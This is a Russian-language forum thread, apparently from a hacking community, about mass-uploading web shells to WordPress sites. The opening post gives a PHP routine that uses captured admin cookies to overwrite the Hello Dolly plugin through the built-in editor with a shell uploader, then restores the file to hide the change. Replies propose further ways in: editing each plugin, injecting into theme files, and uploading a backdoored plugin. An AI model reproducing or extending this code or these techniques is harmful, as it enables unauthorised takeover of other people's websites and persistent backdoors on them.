Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию PHP: $hello_edit = 'http://'.$path.'/wp-admin/plugin-editor.php?file=hello.php'; $hello_path = 'http://'.$path.'/wp-content/plugins/hello.php'; $plugin_editor = 'http://'.$path.'/wp-admin/plugin-editor.php'; $response = curlPostCookies($hello_edit, '', $cookies); $data = extractFormData($response); //var_dump($data); //var_dump($code); //exit(); $code = urlencode($code); $response = curlPostCookies($plugin_editor, $data.'&newcontent='.$code, $cookies ); $response = curlGet($hello_path); //var_dump($response); preg_match('~url:(.+)~', $response, $matches); $url = $matches[1]; //echo $url; $response = curlPostCookies($hello_edit, '', $cookies); $data = extractFormData($response); $response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies ); if($url) return $url; return false; Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?
Ничего не понятно .. А где функции curlPostCookies, curlGet, extractFormData ? Code: $response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies ); А откуда взялся $hello_dolly_text ? $cookies тоже где-то потерялись )) Странно что этот код вообще что-то заливал
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
Звучит как хороший план. А можно примеры с эксплойтом или кодом на?: проверку плагинов на записб загрузку своего плагина инжект через редактор тем Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы. Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.